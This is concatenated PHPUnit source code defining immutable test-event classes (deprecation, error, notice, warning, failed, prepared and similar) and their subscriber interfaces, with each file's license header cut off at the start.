promise for PHPUnit */ interface ConsideredRiskySubscriber extends Subscriber { public function notify(ConsideredRisky $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DeprecationTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-var non-empty-string */ private readonly string $file; /** * @psalm-var positive-int */ private readonly int $line; private readonly bool $suppressed; private readonly bool $ignoredByBaseline; private readonly bool $ignoredByTest; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function __construct(Telemetry\Info $telemetryInfo, Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline, bool $ignoredByTest) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; $this->file = $file; $this->line = $line; $this->suppressed = $suppressed; $this->ignoredByBaseline = $ignoredByBaseline; $this->ignoredByTest = $ignoredByTest; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } /** * @psalm-return non-empty-string */ public function file(): string { return $this->file; } /** * @psalm-return positive-int */ public function line(): int { return $this->line; } public function wasSuppressed(): bool { return $this->suppressed; } public function ignoredByBaseline(): bool { return $this->ignoredByBaseline; } public function ignoredByTest(): bool { return $this->ignoredByTest; } public function asString(): string { $message = $this->message; if (!empty($message)) { $message = PHP_EOL . $message; } $status = ''; if ($this->ignoredByTest) { $status = 'Test-Ignored '; } elseif ($this->ignoredByBaseline) { $status = 'Baseline-Ignored '; } elseif ($this->suppressed) { $status = 'Suppressed '; } return sprintf( 'Test Triggered %sDeprecation (%s) in %s:%d%s', $status, $this->test->id(), $this->file, $this->line, $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface DeprecationTriggeredSubscriber extends Subscriber { public function notify(DeprecationTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ErrorTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-var non-empty-string */ private readonly string $file; /** * @psalm-var positive-int */ private readonly int $line; private readonly bool $suppressed; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function __construct(Telemetry\Info $telemetryInfo, Test $test, string $message, string $file, int $line, bool $suppressed) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; $this->file = $file; $this->line = $line; $this->suppressed = $suppressed; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } /** * @psalm-return non-empty-string */ public function file(): string { return $this->file; } /** * @psalm-return positive-int */ public function line(): int { return $this->line; } public function wasSuppressed(): bool { return $this->suppressed; } public function asString(): string { $message = $this->message; if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Test Triggered %sError (%s) in %s:%d%s', $this->wasSuppressed() ? 'Suppressed ' : '', $this->test->id(), $this->file, $this->line, $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ErrorTriggeredSubscriber extends Subscriber { public function notify(ErrorTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class NoticeTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-var non-empty-string */ private readonly string $file; /** * @psalm-var positive-int */ private readonly int $line; private readonly bool $suppressed; private readonly bool $ignoredByBaseline; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function __construct(Telemetry\Info $telemetryInfo, Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; $this->file = $file; $this->line = $line; $this->suppressed = $suppressed; $this->ignoredByBaseline = $ignoredByBaseline; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } /** * @psalm-return non-empty-string */ public function file(): string { return $this->file; } /** * @psalm-return positive-int */ public function line(): int { return $this->line; } public function wasSuppressed(): bool { return $this->suppressed; } public function ignoredByBaseline(): bool { return $this->ignoredByBaseline; } public function asString(): string { $message = $this->message; if (!empty($message)) { $message = PHP_EOL . $message; } $status = ''; if ($this->ignoredByBaseline) { $status = 'Baseline-Ignored '; } elseif ($this->suppressed) { $status = 'Suppressed '; } return sprintf( 'Test Triggered %sNotice (%s) in %s:%d%s', $status, $this->test->id(), $this->file, $this->line, $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface NoticeTriggeredSubscriber extends Subscriber { public function notify(NoticeTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PhpDeprecationTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-var non-empty-string */ private readonly string $file; /** * @psalm-var positive-int */ private readonly int $line; private readonly bool $suppressed; private readonly bool $ignoredByBaseline; private readonly bool $ignoredByTest; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function __construct(Telemetry\Info $telemetryInfo, Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline, bool $ignoredByTest) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; $this->file = $file; $this->line = $line; $this->suppressed = $suppressed; $this->ignoredByBaseline = $ignoredByBaseline; $this->ignoredByTest = $ignoredByTest; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } /** * @psalm-return non-empty-string */ public function file(): string { return $this->file; } /** * @psalm-return positive-int */ public function line(): int { return $this->line; } public function wasSuppressed(): bool { return $this->suppressed; } public function ignoredByBaseline(): bool { return $this->ignoredByBaseline; } public function ignoredByTest(): bool { return $this->ignoredByTest; } public function asString(): string { $message = $this->message; if (!empty($message)) { $message = PHP_EOL . $message; } $status = ''; if ($this->ignoredByTest) { $status = 'Test-Ignored '; } elseif ($this->ignoredByBaseline) { $status = 'Baseline-Ignored '; } elseif ($this->suppressed) { $status = 'Suppressed '; } return sprintf( 'Test Triggered %sPHP Deprecation (%s) in %s:%d%s', $status, $this->test->id(), $this->file, $this->line, $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PhpDeprecationTriggeredSubscriber extends Subscriber { public function notify(PhpDeprecationTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PhpNoticeTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-var non-empty-string */ private readonly string $file; /** * @psalm-var positive-int */ private readonly int $line; private readonly bool $suppressed; private readonly bool $ignoredByBaseline; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function __construct(Telemetry\Info $telemetryInfo, Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; $this->file = $file; $this->line = $line; $this->suppressed = $suppressed; $this->ignoredByBaseline = $ignoredByBaseline; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } /** * @psalm-return non-empty-string */ public function file(): string { return $this->file; } /** * @psalm-return positive-int */ public function line(): int { return $this->line; } public function wasSuppressed(): bool { return $this->suppressed; } public function ignoredByBaseline(): bool { return $this->ignoredByBaseline; } public function asString(): string { $message = $this->message; if (!empty($message)) { $message = PHP_EOL . $message; } $status = ''; if ($this->ignoredByBaseline) { $status = 'Baseline-Ignored '; } elseif ($this->suppressed) { $status = 'Suppressed '; } return sprintf( 'Test Triggered %sPHP Notice (%s) in %s:%d%s', $status, $this->test->id(), $this->file, $this->line, $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PhpNoticeTriggeredSubscriber extends Subscriber { public function notify(PhpNoticeTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PhpWarningTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-var non-empty-string */ private readonly string $file; /** * @psalm-var positive-int */ private readonly int $line; private readonly bool $suppressed; private readonly bool $ignoredByBaseline; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function __construct(Telemetry\Info $telemetryInfo, Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; $this->file = $file; $this->line = $line; $this->suppressed = $suppressed; $this->ignoredByBaseline = $ignoredByBaseline; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } /** * @psalm-return non-empty-string */ public function file(): string { return $this->file; } /** * @psalm-return positive-int */ public function line(): int { return $this->line; } public function wasSuppressed(): bool { return $this->suppressed; } public function ignoredByBaseline(): bool { return $this->ignoredByBaseline; } public function asString(): string { $message = $this->message; if (!empty($message)) { $message = PHP_EOL . $message; } $status = ''; if ($this->ignoredByBaseline) { $status = 'Baseline-Ignored '; } elseif ($this->suppressed) { $status = 'Suppressed '; } return sprintf( 'Test Triggered %sPHP Warning (%s) in %s:%d%s', $status, $this->test->id(), $this->file, $this->line, $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PhpWarningTriggeredSubscriber extends Subscriber { public function notify(PhpWarningTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PhpunitDeprecationTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-param non-empty-string $message */ public function __construct(Telemetry\Info $telemetryInfo, Test $test, string $message) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } public function asString(): string { $message = $this->message; if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Test Triggered PHPUnit Deprecation (%s)%s', $this->test->id(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PhpunitDeprecationTriggeredSubscriber extends Subscriber { public function notify(PhpunitDeprecationTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use function trim; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PhpunitErrorTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-param non-empty-string $message */ public function __construct(Telemetry\Info $telemetryInfo, Test $test, string $message) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } public function asString(): string { $message = trim($this->message); if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Test Triggered PHPUnit Error (%s)%s', $this->test->id(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PhpunitErrorTriggeredSubscriber extends Subscriber { public function notify(PhpunitErrorTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PhpunitWarningTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-param non-empty-string $message */ public function __construct(Telemetry\Info $telemetryInfo, Test $test, string $message) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } public function asString(): string { $message = $this->message; if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Test Triggered PHPUnit Warning (%s)%s', $this->test->id(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PhpunitWarningTriggeredSubscriber extends Subscriber { public function notify(PhpunitWarningTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code\Test; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class WarningTriggered implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Test $test; /** * @psalm-var non-empty-string */ private readonly string $message; /** * @psalm-var non-empty-string */ private readonly string $file; /** * @psalm-var positive-int */ private readonly int $line; private readonly bool $suppressed; private readonly bool $ignoredByBaseline; /** * @psalm-param non-empty-string $message * @psalm-param non-empty-string $file * @psalm-param positive-int $line */ public function __construct(Telemetry\Info $telemetryInfo, Test $test, string $message, string $file, int $line, bool $suppressed, bool $ignoredByBaseline) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->message = $message; $this->file = $file; $this->line = $line; $this->suppressed = $suppressed; $this->ignoredByBaseline = $ignoredByBaseline; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Test { return $this->test; } /** * @psalm-return non-empty-string */ public function message(): string { return $this->message; } /** * @psalm-return non-empty-string */ public function file(): string { return $this->file; } /** * @psalm-return positive-int */ public function line(): int { return $this->line; } public function wasSuppressed(): bool { return $this->suppressed; } public function ignoredByBaseline(): bool { return $this->ignoredByBaseline; } public function asString(): string { $message = $this->message; if (!empty($message)) { $message = PHP_EOL . $message; } $status = ''; if ($this->ignoredByBaseline) { $status = 'Baseline-Ignored '; } elseif ($this->suppressed) { $status = 'Suppressed '; } return sprintf( 'Test Triggered %sWarning (%s) in %s:%d%s', $status, $this->test->id(), $this->file, $this->line, $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface WarningTriggeredSubscriber extends Subscriber { public function notify(WarningTriggered $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code\ClassMethod; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry\Info; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DataProviderMethodCalled implements Event { private readonly Info $telemetryInfo; private readonly ClassMethod $testMethod; private readonly ClassMethod $dataProviderMethod; public function __construct(Info $telemetryInfo, ClassMethod $testMethod, ClassMethod $dataProviderMethod) { $this->telemetryInfo = $telemetryInfo; $this->testMethod = $testMethod; $this->dataProviderMethod = $dataProviderMethod; } public function telemetryInfo(): Info { return $this->telemetryInfo; } public function testMethod(): ClassMethod { return $this->testMethod; } public function dataProviderMethod(): ClassMethod { return $this->dataProviderMethod; } public function asString(): string { return sprintf( 'Data Provider Method Called (%s::%s for test method %s::%s)', $this->dataProviderMethod->className(), $this->dataProviderMethod->methodName(), $this->testMethod->className(), $this->testMethod->methodName(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface DataProviderMethodCalledSubscriber extends Subscriber { public function notify(DataProviderMethodCalled $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use PHPUnit\Event\Code\ClassMethod; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DataProviderMethodFinished implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly ClassMethod $testMethod; /** * @psalm-var list */ private readonly array $calledMethods; public function __construct(Telemetry\Info $telemetryInfo, ClassMethod $testMethod, ClassMethod ...$calledMethods) { $this->telemetryInfo = $telemetryInfo; $this->testMethod = $testMethod; $this->calledMethods = $calledMethods; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function testMethod(): ClassMethod { return $this->testMethod; } /** * @psalm-return list */ public function calledMethods(): array { return $this->calledMethods; } public function asString(): string { $buffer = sprintf( 'Data Provider Method Finished for %s::%s:', $this->testMethod->className(), $this->testMethod->methodName(), ); foreach ($this->calledMethods as $calledMethod) { $buffer .= sprintf( PHP_EOL . '- %s::%s', $calledMethod->className(), $calledMethod->methodName(), ); } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface DataProviderMethodFinishedSubscriber extends Subscriber { public function notify(DataProviderMethodFinished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Finished implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Code\Test $test; private readonly int $numberOfAssertionsPerformed; public function __construct(Telemetry\Info $telemetryInfo, Code\Test $test, int $numberOfAssertionsPerformed) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->numberOfAssertionsPerformed = $numberOfAssertionsPerformed; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Code\Test { return $this->test; } public function numberOfAssertionsPerformed(): int { return $this->numberOfAssertionsPerformed; } public function asString(): string { return sprintf( 'Test Finished (%s)', $this->test->id(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface FinishedSubscriber extends Subscriber { public function notify(Finished $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PreparationFailed implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Code\Test $test; public function __construct(Telemetry\Info $telemetryInfo, Code\Test $test) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Code\Test { return $this->test; } public function asString(): string { return sprintf( 'Test Preparation Failed (%s)', $this->test->id(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PreparationFailedSubscriber extends Subscriber { public function notify(PreparationFailed $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PreparationStarted implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Code\Test $test; public function __construct(Telemetry\Info $telemetryInfo, Code\Test $test) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Code\Test { return $this->test; } public function asString(): string { return sprintf( 'Test Preparation Started (%s)', $this->test->id(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PreparationStartedSubscriber extends Subscriber { public function notify(PreparationStarted $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Prepared implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Code\Test $test; public function __construct(Telemetry\Info $telemetryInfo, Code\Test $test) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Code\Test { return $this->test; } public function asString(): string { return sprintf( 'Test Prepared (%s)', $this->test->id(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface PreparedSubscriber extends Subscriber { public function notify(Prepared $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use function trim; use PHPUnit\Event\Code; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Errored implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Code\Test $test; private readonly Throwable $throwable; public function __construct(Telemetry\Info $telemetryInfo, Code\Test $test, Throwable $throwable) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->throwable = $throwable; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Code\Test { return $this->test; } public function throwable(): Throwable { return $this->throwable; } public function asString(): string { $message = trim($this->throwable->message()); if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Test Errored (%s)%s', $this->test->id(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface ErroredSubscriber extends Subscriber { public function notify(Errored $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use function trim; use PHPUnit\Event\Code; use PHPUnit\Event\Code\ComparisonFailure; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Failed implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Code\Test $test; private readonly Throwable $throwable; private readonly ?ComparisonFailure $comparisonFailure; public function __construct(Telemetry\Info $telemetryInfo, Code\Test $test, Throwable $throwable, ?ComparisonFailure $comparisonFailure) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->throwable = $throwable; $this->comparisonFailure = $comparisonFailure; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Code\Test { return $this->test; } public function throwable(): Throwable { return $this->throwable; } /** * @psalm-assert-if-true !null $this->comparisonFailure */ public function hasComparisonFailure(): bool { return $this->comparisonFailure !== null; } /** * @throws NoComparisonFailureException */ public function comparisonFailure(): ComparisonFailure { if ($this->comparisonFailure === null) { throw new NoComparisonFailureException; } return $this->comparisonFailure; } public function asString(): string { $message = trim($this->throwable->message()); if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Test Failed (%s)%s', $this->test->id(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface FailedSubscriber extends Subscriber { public function notify(Failed $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use const PHP_EOL; use function sprintf; use function trim; use PHPUnit\Event\Code; use PHPUnit\Event\Code\Throwable; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MarkedIncomplete implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly Code\Test $test; private readonly Throwable $throwable; public function __construct(Telemetry\Info $telemetryInfo, Code\Test $test, Throwable $throwable) { $this->telemetryInfo = $telemetryInfo; $this->test = $test; $this->throwable = $throwable; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function test(): Code\Test { return $this->test; } public function throwable(): Throwable { return $this->throwable; } public function asString(): string { $message = trim($this->throwable->message()); if (!empty($message)) { $message = PHP_EOL . $message; } return sprintf( 'Test Marked Incomplete (%s)%s', $this->test->id(), $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface MarkedIncompleteSubscriber extends Subscriber { public function notify(MarkedIncomplete $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use function sprintf; use PHPUnit\Event\Code; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for 